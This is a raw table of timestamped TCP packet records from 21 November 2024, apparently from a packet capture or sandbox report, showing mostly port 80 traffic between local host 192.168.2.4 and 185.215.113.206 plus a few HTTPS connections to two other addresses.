Nov 21, 2024 07:10:31.484630108 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.484723091 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.487854004 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.487930059 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.489115953 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.489228010 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.489272118 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.489272118 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.495922089 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.495981932 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.495992899 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.496040106 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.502734900 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.502801895 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.502845049 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.502965927 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.509591103 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.509682894 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.509708881 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.509767056 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.516365051 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.516413927 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.516468048 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.516601086 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.523170948 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.523253918 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.523288965 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.523329020 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.530000925 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.530055046 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.530133009 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.530185938 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.536789894 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.536845922 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.536896944 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.537149906 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.543611050 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.543705940 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.543710947 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.543809891 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.544565916 CET	49821	443	192.168.2.4	188.114.97.3
Nov 21, 2024 07:10:31.544639111 CET	443	49821	188.114.97.3	192.168.2.4
Nov 21, 2024 07:10:31.544724941 CET	49821	443	192.168.2.4	188.114.97.3
Nov 21, 2024 07:10:31.545768976 CET	49821	443	192.168.2.4	188.114.97.3
Nov 21, 2024 07:10:31.545800924 CET	443	49821	188.114.97.3	192.168.2.4
Nov 21, 2024 07:10:31.578658104 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.578732014 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.578773975 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.578840017 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.580729961 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.580775023 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.580794096 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.580827951 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.584897041 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.584953070 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.584983110 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.585011005 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.589063883 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.589159012 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.589174986 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.589194059 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.593173981 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.593203068 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.593224049 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.593238115 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.597317934 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.597398996 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.597421885 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.597475052 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.601490974 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.601561069 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.601732016 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.601790905 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.605642080 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.605689049 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.605720997 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.605813026 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.609726906 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.609780073 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.609827042 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.609904051 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.613873959 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.613920927 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.614002943 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.614095926 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.618005991 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.618102074 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.618128061 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.618195057 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.622160912 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.622212887 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.622255087 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.622313976 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.626283884 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.626348019 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.626389027 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.626441956 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.630466938 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.630588055 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.630613089 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.630635977 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.634551048 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.634634972 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.634639025 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.634766102 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.662940025 CET	443	49816	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:31.663485050 CET	49816	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:31.663539886 CET	443	49816	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:31.663908958 CET	49816	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:31.663922071 CET	443	49816	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:31.685672045 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.685715914 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.685815096 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.685859919 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.687155008 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.687201023 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.687264919 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.687330008 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.689492941 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.689584970 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.689613104 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.689774036 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.692529917 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.692653894 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.692660093 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.692704916 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.695513010 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.695561886 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.695646048 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.695722103 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.698544025 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.698606968 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.698669910 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.698719978 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.701582909 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.701642990 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.701643944 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.701783895 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.704586983 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.704648972 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.704694986 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.704782963 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.707629919 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.707727909 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.707736969 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.707801104 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.710668087 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.710804939 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.710805893 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.710880041 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.713635921 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.713748932 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.713751078 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.713816881 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.716629982 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.716730118 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.779638052 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.779716015 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.779766083 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.779767036 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.780651093 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.780735970 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.780778885 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.780778885 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.782953978 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.783651114 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.783737898 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.783755064 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.785845041 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.785924911 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.785953999 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.786408901 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.788049936 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.788111925 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.788136005 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.788294077 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.790230989 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.790303946 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.790610075 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.792423964 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.792520046 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.792535067 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.792572975 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.794620037 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.794691086 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.794734955 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.794790983 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.796811104 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.796863079 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.796941996 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.797101974 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.799015045 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.799072981 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.799110889 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.799110889 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.801213980 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.801259041 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.801273108 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.801314116 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.803397894 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.803510904 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.803529024 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.803730011 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.805572033 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.805617094 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.805694103 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.805773020 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.807816029 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.807913065 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.807934046 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.808109999 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.809973001 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.810108900 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.810108900 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.810175896 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.812177896 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.812298059 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.812340021 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.812382936 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.814398050 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.814445019 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.814477921 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.814527035 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.816598892 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.816678047 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.816714048 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.816807032 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.818780899 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.818825006 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.818880081 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.818943024 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.820997953 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.821096897 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.821125031 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.821171999 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.823220968 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.823287964 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.823364019 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.823455095 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.825402975 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.825469017 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.825530052 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.825619936 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.827588081 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.827688932 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.827693939 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.827975988 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.829813004 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.829879045 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.829900980 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.829946995 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.831757069 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.831818104 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.831868887 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.832004070 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.833775997 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.833830118 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.833910942 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.833981991 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.835822105 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.835874081 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.835961103 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.836005926 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.837836027 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.837920904 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.837961912 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.838011980 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.839756012 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.839826107 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.839917898 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.839983940 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.841696024 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.841784954 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.841785908 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.841834068 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.899307966 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.899405003 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.899434090 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.899499893 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.900221109 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.900302887 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.900626898 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.900677919 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.900746107 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.900954008 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.902646065 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.902817965 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.902818918 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.904560089 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.904648066 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.904674053 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.906495094 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.906604052 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.906620026 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.906676054 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.908454895 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.908512115 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.908534050 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.908678055 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.910464048 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.910528898 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.910551071 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.910727978 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.912425995 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.912524939 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.912671089 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.914350033 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.914426088 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.914503098 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.916330099 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.916378021 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.916476011 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.916537046 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.918282986 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.918395996 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.918415070 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.918457031 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.920222044 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.920345068 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.920469046 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.922204018 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.922300100 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.922383070 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.924247026 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.924324989 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.924355984 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.924447060 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.926105976 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.926235914 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.926300049 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.926300049 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.928069115 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.928222895 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.928304911 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.930026054 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.930237055 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.930253029 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.930466890 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:31.932008982 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:31.932096004 CET	80	49807	185.215.113.206	192.168.2.4
